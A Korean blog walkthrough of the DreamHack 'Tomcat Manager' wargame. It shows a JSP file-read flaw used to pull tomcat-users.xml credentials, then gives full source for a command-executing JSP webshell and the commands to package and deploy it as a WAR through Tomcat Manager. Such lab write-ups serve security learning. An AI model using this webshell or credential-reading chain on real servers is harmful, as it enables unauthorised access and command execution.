본문 바로가기

DreamHack

[DreamHack] Tomcat Manager

https://dreamhack.io/wargame/challenges/248

 

Tomcat Manager

Description 드림이가 톰캣 서버로 개발을 시작하였습니다. 서비스의 취약점을 찾아 플래그를 획득하세요. 플래그는 /flag 경로에 있습니다.

dreamhack.io

난이도: Level 2

image.jsp

<%@ page trimDirectiveWhitespaces="true" %>
<%
String filepath = getServletContext().getRealPath("resources") + "/";
String _file = request.getParameter("file");

response.setContentType("image/jpeg");
try{
    java.io.FileInputStream fileInputStream = new java.io.FileInputStream(filepath + _file);
    int i;
    while ((i = fileInputStream.read()) != -1) {
        out.write(i);
    }
    fileInputStream.close();
}catch(Exception e){
    response.sendError(404, "Not Found !" );
}
%>

image.jsp 파일을 보면, 어떠한 필터링 없이 파일 명을 바로 입력받는 것을 볼 수 있습니다. 즉, LFI 취약점이 존재하여 서버에 내부 파일을 읽을 수 있습니다. 

 

위와 같이, /etc/passwd 파일에 접근해 보면 image 형태로 뜨고 내용이 보이지 않습니다. 그 이유는 response.setContentType("image/jpeg"); 코드로 인해 응답을 이미지 형태로 전달받기 때문에 wget을 이용하여 파일 읽어야합니다. 

tomcat-users.xml

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="[**SECRET**]" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

LFI 취약점이 어디에 활용될 수 있는지 확인해 보던 중 tomcat-users.xml 파일을 보니 패스워드가 걸려있는 것을 확인하였습니다. 

 

LFI 취약점을 활용하여 위와 같이 tomcat-users.xml 원본파일을 다운로드합니다.

 

파일을 확인해보면, tomcat 계정의 패스워드를 알아낼 수 있습니다.

 

Tomcat Manager인 tomcat 계정을 알아내었으니 /manager/html에 접속해 줍니다. 

 

페이지를 내리다 보면, War file to deploy 기능이 존재하는데 여기에 webshell war file을 업로드하면 flag를 얻을 수 있을 것 같습니다.  

index.jsp

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>

index.jsp 파일을 생성하여 위 코드 내용을 포함시킵니다. 

mkdir webshell
mv index.jsp webshell && cd webshell
jar -cvf ../webshell.war *

webshell.war 파일 생성을 위해 위 명령을 실행해줍니다. 

 

위 과정을 모두 거친 후, webshell.war 파일을 /manager/html 페이지에 업로드해 줍니다. 

 

 

업로드가 정상적으로 수행된 경우, 웹쉘에 접근할 수 있게 되고 아래와 같이 FLAG를 획득할 수 있게 됩니다. 

 

 

 

'DreamHack' 카테고리의 다른 글

[DreamHack] Proton Memo  (0) 2023.09.05
[DreamHack] Client Side Template Injection  (2) 2023.09.04
[DreamHack] funjs  (0) 2023.09.04
[DreamHack] weblog-1  (2) 2023.09.01
[DreamHack] DOM XSS  (0) 2023.09.01